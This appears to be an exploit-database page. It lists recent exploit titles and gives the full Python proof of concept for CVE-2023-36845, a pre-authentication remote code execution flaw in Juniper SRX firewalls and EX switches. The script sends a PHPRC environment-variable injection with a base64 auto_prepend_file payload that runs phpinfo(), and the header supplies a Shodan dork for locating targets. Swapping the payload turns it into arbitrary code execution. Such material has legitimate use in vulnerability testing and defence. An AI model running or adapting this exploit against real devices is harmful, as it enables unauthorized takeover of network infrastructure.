81ae91fdae
14 changes to exploits/shellcodes/ghdb Electrolink FM/DAB/TV Transmitter - Unauthenticated Remote DoS Electrolink FM/DAB/TV Transmitter (controlloLogin.js) - Credentials Disclosure Electrolink FM/DAB/TV Transmitter (Login Cookie) - Authentication Bypass Electrolink FM/DAB/TV Transmitter (login.htm/mail.htm) - Credentials Disclosure Electrolink FM/DAB/TV Transmitter - Pre-Auth MPFS Image Remote Code Execution Electrolink FM/DAB/TV Transmitter - Remote Authentication Removal TP-LINK TL-WR740N - Multiple HTML Injection TP-Link TL-WR740N - UnAuthenticated Directory Transversal Juniper-SRX-Firewalls&EX-switches - (PreAuth-RCE) (PoC) mooSocial 3.1.8 - Cross-Site Scripting (XSS) on User Login Page PCMan FTP Server 2.0 - 'pwd' Remote Buffer Overflow WebCatalog 48.4 - Arbitrary Protocol Execution
76 lines
No EOL
3.1 KiB
Python
Executable file
76 lines
No EOL
3.1 KiB
Python
Executable file
# ***************************************************************************************************
|
|
# Exploit Title: juniper-SRX-Firewalls&EX-switches (PreAuth-RCE) (PoC)
|
|
# Description:
|
|
#
|
|
# This code serves as both a vulnerability detector and a proof of concept for CVE-2023-36845.
|
|
# It executes the phpinfo() function on the login page of the target device,
|
|
# allowing to inspect the PHP configuration. also this script has the option to save the phpinfo()
|
|
# output to a file for further analysis.
|
|
#
|
|
# Shodan Dork: http.favicon.hash:2141724739
|
|
# Date: 2023/10/01
|
|
# Exploit Author: whiteOwl (whiteowl.pub@gmail.com)
|
|
# Vendor Homepage: https://whiteowl-pub.github.io
|
|
# Version: Versions Prior to 20.4R3-S9,21.1R1,21.2R3-S7,21.3R3-S5,
|
|
# 21.4R3-S5,22.1R3-S4,22.2R3-S2,22.3R2-S2/R3-S1,22.
|
|
# 4R2-S1/R3,23.2R1-S1/R2
|
|
# Tested on: JUNOS SM804122pri 15.1X49-D170.4
|
|
# CVE : cve-2023-36845
|
|
# ***************************************************************************************************
|
|
|
|
import argparse
|
|
import requests
|
|
|
|
banner = """
|
|
*************************************************************
|
|
* CVE-2023-36845 Vulnerability Detector & Proof of concept *
|
|
* This script checks for the CVE-2023-36845 vulnerability *
|
|
* and run phpinfo() on vulnerable devices. *
|
|
* If you suspect a vulnerable system, please take action *
|
|
* immediately to secure it. *
|
|
* *
|
|
* Author: whiteowl *
|
|
*************************************************************
|
|
"""
|
|
|
|
def send_request(url, output_file=None, verbose=False):
|
|
target_url = f"{url}/?PHPRC=/dev/fd/0"
|
|
data = 'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
|
|
|
|
headers = {
|
|
'User-Agent': 'Mozilla/5.0',
|
|
}
|
|
|
|
try:
|
|
response = requests.post(target_url, headers=headers, data=data, stream=True)
|
|
if response.status_code == 200:
|
|
print("The Target Device is Vulnerable to: CVE-2023-36845")
|
|
else:
|
|
print("Not Vulnerable: Status Code", response.status_code)
|
|
|
|
if output_file:
|
|
with open(output_file, 'w', encoding='utf-8') as file:
|
|
file.write(response.text)
|
|
|
|
if verbose:
|
|
print(f"HTTP Status Code: {response.status_code}")
|
|
print("Response Headers:")
|
|
for header, value in response.headers.items():
|
|
print(f"{header}: {value}")
|
|
print("Response Content:")
|
|
print(response.text)
|
|
except requests.exceptions.RequestException as e:
|
|
print(f"An error occurred: {e}")
|
|
|
|
def main():
|
|
print(banner)
|
|
parser = argparse.ArgumentParser(description="Custom curl-like script")
|
|
parser.add_argument("-u", "--url", required=True, help="URL to send the HTTP request")
|
|
parser.add_argument("-o", "--output", help="Output file to save the HTML content")
|
|
parser.add_argument("-v", "--verbose", action="store_true", help="Enable verbose mode")
|
|
|
|
args = parser.parse_args()
|
|
send_request(args.url, args.output, args.verbose)
|
|
|
|
if __name__ == "__main__":
|
|
main() |